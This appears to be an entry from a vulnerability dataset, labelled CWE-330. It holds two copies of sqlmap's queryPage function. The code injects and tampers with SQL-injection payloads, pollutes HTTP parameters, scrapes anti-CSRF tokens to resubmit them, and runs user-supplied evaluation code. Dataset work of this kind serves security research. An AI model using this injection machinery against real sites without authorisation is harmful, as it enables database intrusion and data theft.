        if PLACE.CUSTOM_POST in conf.parameters:
            post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, """") if place != PLACE.CUSTOM_POST or not value else value
            post = post.replace(ASTERISK_MARKER, '*') if post else post

        if PLACE.COOKIE in conf.parameters:
            cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value

        if PLACE.USER_AGENT in conf.parameters:
            ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value

        if PLACE.REFERER in conf.parameters:
            referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value

        if PLACE.HOST in conf.parameters:
            host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value

        if PLACE.URI in conf.parameters:
            uri = conf.url if place != PLACE.URI or not value else value
        else:
            uri = conf.url

        if value and place == PLACE.CUSTOM_HEADER:
            if value.split(',')[0].capitalize() == PLACE.COOKIE:
                cookie = value.split(',', 1)[-1]
            else:
                auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]

        if conf.csrfToken:
            token = AttribDict()

            def _adjustParameter(paramString, parameter, newValue):
                retVal = paramString

                if urlencode(parameter) in paramString:
                    parameter = urlencode(parameter)

                match = re.search(r""%s=[^&]*"" % re.escape(parameter), paramString, re.I)
                if match:
                    retVal = re.sub(r""(?i)%s"" % re.escape(match.group(0)), (""%s=%s"" % (parameter, newValue)).replace('\\', r'\\'), paramString)
                else:
                    match = re.search(r""(%s[\""']:[\""'])([^\""']+)"" % re.escape(parameter), paramString, re.I)
                    if match:
                        retVal = re.sub(r""(?i)%s"" % re.escape(match.group(0)), ""%s%s"" % (match.group(1), newValue), paramString)

                return retVal

            for attempt in xrange(conf.csrfRetries + 1):
                if token:
                    break

                if attempt > 0:
                    warnMsg = ""unable to find anti-CSRF token '%s' at '%s'"" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
                    warnMsg += "". sqlmap is going to retry the request""
                    logger.warn(warnMsg)

                page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
                page = urldecode(page)  # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')

                match = re.search(r""(?i)<input[^>]+\bname=[\""']?(?P<name>%s)\b[^>]*\bvalue=[\""']?(?P<value>[^>'\""]*)"" % conf.csrfToken, page or """", re.I)

                if not match:
                    match = re.search(r""(?i)<input[^>]+\bvalue=[\""']?(?P<value>[^>'\""]*)[\""']?[^>]*\bname=[\""']?(?P<name>%s)\b"" % conf.csrfToken, page or """", re.I)

                    if not match:
                        match = re.search(r""(?P<name>%s)[\""']:[\""'](?P<value>[^\""']+)"" % conf.csrfToken, page or """", re.I)

                        if not match:
                            match = re.search(r""\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)"" % conf.csrfToken, getUnicode(headers), re.I)

                            if not match:
                                match = re.search(r""\b(?P<name>%s)\s*=\s*['\""]?(?P<value>[^;'\""]+)"" % conf.csrfToken, page or """", re.I)

                                if not match:
                                    match = re.search(r""<meta\s+name=[\""']?(?P<name>%s)[\""']?[^>]+\b(value|content)=[\""']?(?P<value>[^>\""']+)"" % conf.csrfToken, page or """", re.I)

                if match:
                    token.name, token.value = match.group(""name""), match.group(""value"")

                    match = re.search(r""String\.fromCharCode\(([\d+, ]+)\)"", token.value)
                    if match:
                        token.value = """".join(_unichr(int(_)) for _ in match.group(1).replace(' ', """").split(','))

                if not token:
                    if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
                        if headers and PLAIN_TEXT_CONTENT_TYPE in headers.get(HTTP_HEADER.CONTENT_TYPE, """"):
                            token.name = conf.csrfToken
                            token.value = page

                    if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
                        for _ in conf.cj:
                            if re.search(conf.csrfToken, _.name, re.I):
                                token.name, token.value = _.name, _.value
                                if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
                                    if post:
                                        post = ""%s%s%s=%s"" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
                                    elif get:
                                        get = ""%s%s%s=%s"" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
                                    else:
                                        get = ""%s=%s"" % (token.name, token.value)
                                break

            if not token:
                errMsg = ""anti-CSRF token '%s' can't be found at '%s'"" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
                if not conf.csrfUrl:
                    errMsg += "". You can try to rerun by providing ""
                    errMsg += ""a valid value for option '--csrf-url'""
                raise SqlmapTokenException(errMsg)

            if token:
                token.value = token.value.strip(""'\"""")

                for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI):
                    if candidate in conf.parameters:
                        if candidate == PLACE.URI and uri:
                            uri = _adjustParameter(uri, token.name, token.value)
                        elif candidate == PLACE.GET and get:
                            get = _adjustParameter(get, token.name, token.value)
                        elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post:
                            post = _adjustParameter(post, token.name, token.value)

                for i in xrange(len(conf.httpHeaders)):
                    if conf.httpHeaders[i][0].lower() == token.name.lower():
                        conf.httpHeaders[i] = (conf.httpHeaders[i][0], token.value)

        if conf.rParam:
            def _randomizeParameter(paramString, randomParameter):
                retVal = paramString
                match = re.search(r""(\A|\b)%s=(?P<value>[^&;]*)"" % re.escape(randomParameter), paramString)
                if match:
                    origValue = match.group(""value"")
                    newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0]
                    retVal = re.sub(r""(\A|\b)%s=[^&;]*"" % re.escape(randomParameter), ""%s=%s"" % (randomParameter, newValue), paramString)
                else:
                    match = re.search(r""(\A|\b)(%s\b[^\w]+)(?P<value>\w+)"" % re.escape(randomParameter), paramString)
                    if match:
                        origValue = match.group(""value"")
                        newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0]
                        retVal = paramString.replace(match.group(0), ""%s%s"" % (match.group(2), newValue))
                return retVal

            for randomParameter in conf.rParam:
                for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.URI, PLACE.CUSTOM_POST):
                    if item in conf.parameters:
                        if item == PLACE.GET and get:
                            get = _randomizeParameter(get, randomParameter)
                        elif item in (PLACE.POST, PLACE.CUSTOM_POST) and post:
                            post = _randomizeParameter(post, randomParameter)
                        elif item == PLACE.COOKIE and cookie:
                            cookie = _randomizeParameter(cookie, randomParameter)
                        elif item == PLACE.URI and uri:
                            uri = _randomizeParameter(uri, randomParameter)

        if conf.evalCode:
            delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
            variables = {""uri"": uri, ""lastPage"": threadData.lastPage, ""_locals"": locals(), ""cookie"": cookie}
            originals = {}

            if not get and PLACE.URI in conf.parameters:
                query = _urllib.parse.urlsplit(uri).query or """"
            else:
                query = None

            for item in filterNone((get, post if not kb.postHint else None, query)):
                for part in item.split(delimiter):
                    if '=' in part:
                        name, value = part.split('=', 1)
                        name = name.strip()
                        if safeVariableNaming(name) != name:
                            conf.evalCode = re.sub(r""\b%s\b"" % re.escape(name), safeVariableNaming(name), conf.evalCode)
                            name = safeVariableNaming(name)
                        value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
                        variables[name] = value

            if cookie:
                for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER):
                    if '=' in part:
                        name, value = part.split('=', 1)
                        name = name.strip()
                        if safeVariableNaming(name) != name:
                            conf.evalCode = re.sub(r""\b%s\b"" % re.escape(name), safeVariableNaming(name), conf.evalCode)
                            name = safeVariableNaming(name)
                        value = urldecode(value, convall=True)
                        variables[name] = value

            while True:
                try:
                    compile(getBytes(re.sub(r""\s*;\s*"", ""\n"", conf.evalCode)), """", ""exec"")
                except SyntaxError as ex:
                    if ex.text:
                        original = replacement = ex.text.strip()

                        if '=' in original:
                            name, value = original.split('=', 1)
                            name = name.strip()
                            if safeVariableNaming(name) != name:
                                replacement = re.sub(r""\b%s\b"" % re.escape(name), safeVariableNaming(name), replacement)
                        else:
                            for _ in re.findall(r""[A-Za-z_]+"", original)[::-1]:
                                if safeVariableNaming(_) != _:
                                    replacement = replacement.replace(_, safeVariableNaming(_))
                                    break

                        if original == replacement:
                            conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, """")
                            break
                        else:
                            conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement)
                    else:
                        break
                else:
                    break

            originals.update(variables)
            evaluateCode(conf.evalCode, variables)

            for variable in list(variables.keys()):
                if unsafeVariableNaming(variable) != variable:
                    value = variables[variable]
                    del variables[variable]
                    variables[unsafeVariableNaming(variable)] = value

            uri = variables[""uri""]
            cookie = variables[""cookie""]

            for name, value in variables.items():
                if name != ""__builtins__"" and originals.get(name, """") != value:
                    if isinstance(value, (int, float, six.string_types, six.binary_type)):
                        found = False
                        value = getUnicode(value, UNICODE_ENCODING)

                        if kb.postHint and re.search(r""\b%s\b"" % re.escape(name), post or """"):
                            if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
                                if re.search(r""<%s\b"" % re.escape(name), post):
                                    found = True
                                    post = re.sub(r""(?s)(<%s\b[^>]*>)(.*?)(</%s)"" % (re.escape(name), re.escape(name)), r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), post)
                                elif re.search(r""\b%s>"" % re.escape(name), post):
                                    found = True
                                    post = re.sub(r""(?s)(\b%s>)(.*?)(</[^<]*\b%s>)"" % (re.escape(name), re.escape(name)), r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), post)

                            elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                                match = re.search(r""['\""]%s['\""]:"" % re.escape(name), post)
                                if match:
                                    quote = match.group(0)[0]
                                    post = post.replace(""\\%s"" % quote, BOUNDARY_BACKSLASH_MARKER)
                                    match = re.search(r""(%s%s%s:\s*)(\d+|%s[^%s]*%s)"" % (quote, re.escape(name), quote, quote, quote, quote), post)
                                    if match:
                                        found = True
                                        post = post.replace(match.group(0), ""%s%s"" % (match.group(1), value if value.isdigit() else ""%s%s%s"" % (match.group(0)[0], value, match.group(0)[0])))
                                    post = post.replace(BOUNDARY_BACKSLASH_MARKER, ""\\%s"" % quote)

                            regex = r""\b(%s)\b([^\w]+)(\w+)"" % re.escape(name)
                            if not found and re.search(regex, (post or """")):
                                found = True
                                post = re.sub(regex, r""\g<1>\g<2>%s"" % value.replace('\\', r'\\'), post)

                        regex = r""((\A|%s)%s=).+?(%s|\Z)"" % (re.escape(delimiter), re.escape(name), re.escape(delimiter))
                        if not found and re.search(regex, (post or """")):
                            found = True
                            post = re.sub(regex, r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), post)

                        if re.search(regex, (get or """")):
                            found = True
                            get = re.sub(regex, r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), get)

                        if re.search(regex, (query or """")):
                            found = True
                            uri = re.sub(regex.replace(r""\A"", r""\?""), r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), uri)

                        regex = r""((\A|%s\s*)%s=).+?(%s|\Z)"" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
                        if re.search(regex, (cookie or """")):
                            found = True
                            cookie = re.sub(regex, r""\g<1>%s\g<3>"" % value.replace('\\', r'\\'), cookie)

                        if not found:
                            if post is not None:
                                post += ""%s%s=%s"" % (delimiter, name, value)
                            elif get is not None:
                                get += ""%s%s=%s"" % (delimiter, name, value)
                            elif cookie is not None:
                                cookie += ""%s%s=%s"" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value)

        if not conf.skipUrlEncode:
            get = urlencode(get, limit=True)

        if post is not None:
            if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE):
                post = getattr(post, UNENCODED_ORIGINAL_VALUE)
            elif postUrlEncode:
                post = urlencode(post, spaceplus=kb.postSpaceToPlus)

        if timeBasedCompare and not conf.disableStats:
            if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
                clearConsoleLine()

                kb.responseTimes.setdefault(kb.responseTimeMode, [])

                if conf.tor:
                    warnMsg = ""it's highly recommended to avoid usage of switch '--tor' for ""
                    warnMsg += ""time-based injections because of inherent high latency time""
                    singleTimeWarnMessage(warnMsg)

                warnMsg = ""[%s] [WARNING] %stime-based comparison requires "" % (time.strftime(""%X""), ""(case) "" if kb.responseTimeMode else """")
                warnMsg += ""%s statistical model, please wait"" % (""larger"" if len(kb.responseTimes) == 1 else ""reset of"")
                dataToStdout(warnMsg)

                while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
                    value = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload
                    Connect.queryPage(value=value, content=True, raise404=False)
                    dataToStdout('.')

                dataToStdout("" (done)\n"")

            elif not kb.testMode:
                warnMsg = ""it is very important to not stress the network connection ""
                warnMsg += ""during usage of time-based payloads to prevent potential ""
                warnMsg += ""disruptions ""
                singleTimeWarnMessage(warnMsg)

            if not kb.laggingChecked:
                kb.laggingChecked = True

                deviation = stdev(kb.responseTimes[kb.responseTimeMode])

                if deviation is not None and deviation > WARN_TIME_STDEV:
                    kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE

                    warnMsg = ""considerable lagging has been detected ""
                    warnMsg += ""in connection response(s). Please use as high ""
                    warnMsg += ""value for option '--time-sec' as possible (e.g. ""
                    warnMsg += ""10 or more)""
                    logger.critical(warnMsg)

        if (conf.safeFreq or 0) > 0:
            kb.queryCounter += 1
            if kb.queryCounter % conf.safeFreq == 0:
                if conf.safeUrl:
                    Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
                elif kb.safeReq:
                    Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers)

        start = time.time()

        if kb.nullConnection and not content and not response and not timeBasedCompare:
            noteResponseTime = False

            try:
                pushValue(kb.pageCompress)
                kb.pageCompress = False

                if kb.nullConnection == NULLCONNECTION.HEAD:
                    method = HTTPMETHOD.HEAD
                elif kb.nullConnection == NULLCONNECTION.RANGE:
                    auxHeaders[HTTP_HEADER.RANGE] = ""bytes=-1""

                _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))

                if headers:
                    try:
                        if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH):
                            pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
                        elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE):
                            pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
                    except ValueError:
                        pass
            finally:
                kb.pageCompress = popValue()

        if pageLength is None:
            try:
                page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare)
            except MemoryError:
                page, headers, code = None, None, None
                warnMsg = ""site returned insanely large response""
                if kb.testMode:
                    warnMsg += "" in testing phase. This is a common ""
                    warnMsg += ""behavior in custom WAF/IPS solutions""
                singleTimeWarnMessage(warnMsg)

        if not ignoreSecondOrder:
            if conf.secondUrl:
                page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
            elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or """"):
                def _(value):
                    if kb.customInjectionMark in (value or """"):
                        if payload is None:
                            value = value.replace(kb.customInjectionMark, """")
                        else:
                            value = re.sub(r""\w*%s"" % re.escape(kb.customInjectionMark), payload, value)
                    return value
                page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)

        threadData.lastQueryDuration = calculateDeltaSeconds(start)

        kb.originalCode = code if kb.originalCode is None else kb.originalCode
        kb.originalPage = page if kb.originalPage is None else kb.originalPage

        if kb.testMode:
            kb.testQueryCount += 1

        if timeBasedCompare:
            return wasLastResponseDelayed()
        elif noteResponseTime:
            kb.responseTimes.setdefault(kb.responseTimeMode, [])
            kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration)
            if len(kb.responseTimes[kb.responseTimeMode]) > MAX_TIME_RESPONSES:
                kb.responseTimes[kb.responseTimeMode] = kb.responseTimes[kb.responseTimeMode][-MAX_TIME_RESPONSES // 2:]

        if not response and removeReflection:
            page = removeReflectiveValues(page, payload)

        kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or """", re.I) is not None

        message = extractRegexResult(PERMISSION_DENIED_REGEX, page or """", re.I)
        if message:
            kb.permissionFlag = True
            singleTimeWarnMessage(""potential permission problems detected ('%s')"" % message)

        patchHeaders(headers)

        if content or response:
            return page, headers, code

        if getRatioValue:
            return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
        else:
            return comparison(page, headers, code, getRatioValue, pageLength)",CWE-330,sqlmapproject/sqlmap,0b775b6d1dd97859993891e4405cc2225bcaf4e7,"def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
        """"""
        This method calls a function to get the target URL page content
        and returns its page ratio (0 <= ratio <= 1) or a boolean value
        representing False/True match in case of !getRatioValue
        """"""

        if conf.direct:
            return direct(value, content)

        get = None
        post = None
        cookie = None
        ua = None
        referer = None
        host = None
        page = None
        pageLength = None
        uri = None
        code = None

        if not place:
            place = kb.injection.place or PLACE.GET

        kb.place = place

        if not auxHeaders:
            auxHeaders = {}

        raise404 = place != PLACE.URI if raise404 is None else raise404
        method = method or conf.method

        postUrlEncode = kb.postUrlEncode

        value = agent.adjustLateValues(value)
        payload = agent.extractPayload(value)
        threadData = getCurrentThreadData()

        if conf.httpHeaders:
            headers = OrderedDict(conf.httpHeaders)
            contentType = max(headers[_] or """" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else """" for _ in headers) or None

            if (kb.postHint or conf.skipUrlEncode) and postUrlEncode:
                postUrlEncode = False
                conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType]
                contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
                conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))

        if payload:
            delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)

            if not disableTampering and kb.tamperFunctions:
                for function in kb.tamperFunctions:
                    hints = {}

                    try:
                        payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints)
                    except Exception as ex:
                        errMsg = ""error occurred while running tamper ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)

                    if not isinstance(payload, six.string_types):
                        errMsg = ""tamper function '%s' returns "" % function.__name__
                        errMsg += ""invalid payload type ('%s')"" % type(payload)
                        raise SqlmapValueException(errMsg)

                value = agent.replacePayload(value, payload)

                if hints:
                    if HINT.APPEND in hints:
                        value = ""%s%s%s"" % (value, delimiter, hints[HINT.APPEND])

                    if HINT.PREPEND in hints:
                        if place == PLACE.URI:
                            match = re.search(r""\w+\s*=\s*%s"" % PAYLOAD_DELIMITER, value) or re.search(r""[^?%s/]=\s*%s"" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
                            if match:
                                value = value.replace(match.group(0), ""%s%s%s"" % (hints[HINT.PREPEND], delimiter, match.group(0)))
                        else:
                            value = ""%s%s%s"" % (hints[HINT.PREPEND], delimiter, value)

            logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\'))

            if place == PLACE.CUSTOM_POST and kb.postHint:
                if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                    # payloads in SOAP/XML should have chars > and < replaced
                    # with their HTML encoded counterparts
                    payload = payload.replace('&', ""&amp;"").replace('>', ""&gt;"").replace('<', ""&lt;"").replace('""', ""&quot;"").replace(""'"", ""&apos;"")  # Reference: https://stackoverflow.com/a/1091953
                elif kb.postHint == POST_HINT.JSON:
                    payload = escapeJsonValue(payload)
                elif kb.postHint == POST_HINT.JSON_LIKE:
                    payload = payload.replace(""'"", REPLACEMENT_MARKER).replace('""', ""'"").replace(REPLACEMENT_MARKER, '""')
                    payload = escapeJsonValue(payload)
                    payload = payload.replace(""'"", REPLACEMENT_MARKER).replace('""', ""'"").replace(REPLACEMENT_MARKER, '""')
                value = agent.replacePayload(value, payload)
            else:
                # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
                if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
                    skip = False

                    if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper():
                        if kb.choices.cookieEncode is None:
                            msg = ""do you want to URL encode cookie values (implementation specific)? %s"" % (""[Y/n]"" if not conf.url.endswith("".aspx"") else ""[y/N]"")  # Reference: https://support.microsoft.com/en-us/kb/313282
                            kb.choices.cookieEncode = readInput(msg, default='Y' if not conf.url.endswith("".aspx"") else 'N', boolean=True)
                        if not kb.choices.cookieEncode:
                            skip = True

                    if not skip:
                        if place in (PLACE.POST, PLACE.CUSTOM_POST):  # potential problems in other cases (e.g. URL encoding of whole URI - including path)
                            value = urlencode(value, spaceplus=kb.postSpaceToPlus)
                        payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
                        value = agent.replacePayload(value, payload)
                        postUrlEncode = False

            if conf.hpp:
                if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)):
                    warnMsg = ""HTTP parameter pollution should work only against ""
                    warnMsg += ""ASP(.NET) targets""
                    singleTimeWarnMessage(warnMsg)
                if place in (PLACE.GET, PLACE.POST):
                    _ = re.escape(PAYLOAD_DELIMITER)
                    match = re.search(r""(?P<name>\w+)=%s(?P<value>.+?)%s"" % (_, _), value)
                    if match:
                        payload = match.group(""value"")

                        for splitter in (urlencode(' '), ' '):
                            if splitter in payload:
                                prefix, suffix = (""*/"", ""/*"") if splitter == ' ' else (urlencode(_) for _ in (""*/"", ""/*""))
                                parts = payload.split(splitter)
                                parts[0] = ""%s%s"" % (parts[0], suffix)
                                parts[-1] = ""%s%s=%s%s"" % (DEFAULT_GET_POST_DELIMITER, match.group(""name""), prefix, parts[-1])
                                for i in xrange(1, len(parts) - 1):
                                    parts[i] = ""%s%s=%s%s%s"" % (DEFAULT_GET_POST_DELIMITER, match.group(""name""), prefix, parts[i], suffix)
                                payload = """".join(parts)

                        for splitter in (urlencode(','), ','):
                            payload = payload.replace(splitter, ""%s%s="" % (DEFAULT_GET_POST_DELIMITER, match.group(""name"")))

                        value = agent.replacePayload(value, payload)
                else:
                    warnMsg = ""HTTP parameter pollution works only with regular ""
                    warnMsg += ""GET and POST parameters""
                    singleTimeWarnMessage(warnMsg)

        if place:
            value = agent.removePayloadDelimiters(value)

        if PLACE.GET in conf.parameters:
            get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
        elif place == PLACE.GET:  # Note: for (e.g.) checkWaf() when there are no GET parameters
            get = value

        if PLACE.POST in conf.parameters:
            post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value
        elif place == PLACE.POST:
            post = value

        if PLACE.CUSTOM_POST in conf.parameters:
            post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, """") if place != PLACE.CUSTOM_POST or not value else value
            post = post.replace(ASTERISK_MARKER, '*') if post else post

        if PLACE.COOKIE in conf.parameters:
            cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value

        if PLACE.USER_AGENT in conf.parameters:
            ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value

        if PLACE.REFERER in conf.parameters:
            referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value

        if PLACE.HOST in conf.parameters:
            host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value

        if PLACE.URI in conf.parameters:
            uri = conf.url if place != PLACE.URI or not value else value
        else:
            uri = conf.url

        if value and place == PLACE.CUSTOM_HEADER:
            if value.split(',')[0].capitalize() == PLACE.COOKIE:
                cookie = value.split(',', 1)[-1]
            else:
                auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]

        if conf.csrfToken:
            token = AttribDict()

            def _adjustParameter(paramString, parameter, newValue):
                retVal = paramString

                if urlencode(parameter) in paramString:
                    parameter = urlencode(parameter)

                match = re.search(r""%s=[^&]*"" % re.escape(parameter), paramString, re.I)
                if match:
                    retVal = re.sub(r""(?i)%s"" % re.escape(match.group(0)), (""%s=%s"" % (parameter, newValue)).replace('\\', r'\\'), paramString)
                else:
                    match = re.search(r""(%s[\""']:[\""'])([^\""']+)"" % re.escape(parameter), paramString, re.I)
                    if match:
                        retVal = re.sub(r""(?i)%s"" % re.escape(match.group(0)), ""%s%s"" % (match.group(1), newValue), paramString)

                return retVal

            for attempt in xrange(conf.csrfRetries + 1):
                if token:
                    break

                if attempt > 0:
                    warnMsg = ""unable to find anti-CSRF token '%s' at '%s'"" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
                    warnMsg += "". sqlmap is going to retry the request""
                    logger.warn(warnMsg)

                page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
                page = urldecode(page)  # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')

                match = re.search(r""(?i)<input[^>]+\bname=[\""']?(?P<name>%s)\b[^>]*\bvalue=[\""']?(?P<value>[^>'\""]*)"" % conf.csrfToken, page or """", re.I)

                if not match:
                    match = re.search(r""(?i)<input[^>]+\bvalue=[\""']?(?P<value>[^>'\""]*)[\""']?[^>]*\bname=[\""']?(?P<name>%s)\b"" % conf.csrfToken, page or """", re.I)

                    if not match:
                        match = re.search(r""(?P<name>%s)[\""']:[\""'](?P<value>[^\""']+)"" % conf.csrfToken, page or """", re.I)

                        if not match:
                            match = re.search(r""\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)"" % conf.csrfToken, getUnicode(headers), re.I)

                            if not match:
                                match = re.search(r""\b(?P<name>%s)\s*=\s*['\""]?(?P<value>[^;'\""]+)"" % conf.csrfToken, page or """", re.I)

                                if not match:
                                    match = re.search(r""<meta\s+name=[\""']?(?P<name>%s)[\""']?[^>]+\b(value|content)=[\""']?(?P<value>[^>\""']+)"" % conf.csrfToken, page or """", re.I)

                if match:
                    token.name, token.value = match.group(""name""), match.group(""value"")

                    match = re.search(r""String\.fromCharCode\(([\d+, ]+)\)"", token.value)
                    if match:
                        token.value = """".join(_unichr(int(_)) for _ in match.group(1).replace(' ', """").split(','))

                if not token:
                    if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
                        if headers and PLAIN_TEXT_CONTENT_TYPE in headers.get(HTTP_HEADER.CONTENT_TYPE, """"):
                            token.name = conf.csrfToken
                            token.value = page

                    if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
                        for _ in conf.cj:
                            if re.search(conf.csrfToken, _.name, re.I):
                                token.name, token.value = _.name, _.value
                                if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
                                    if post:
                                        post = ""%s%s%s=%s"" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
                                    elif get:
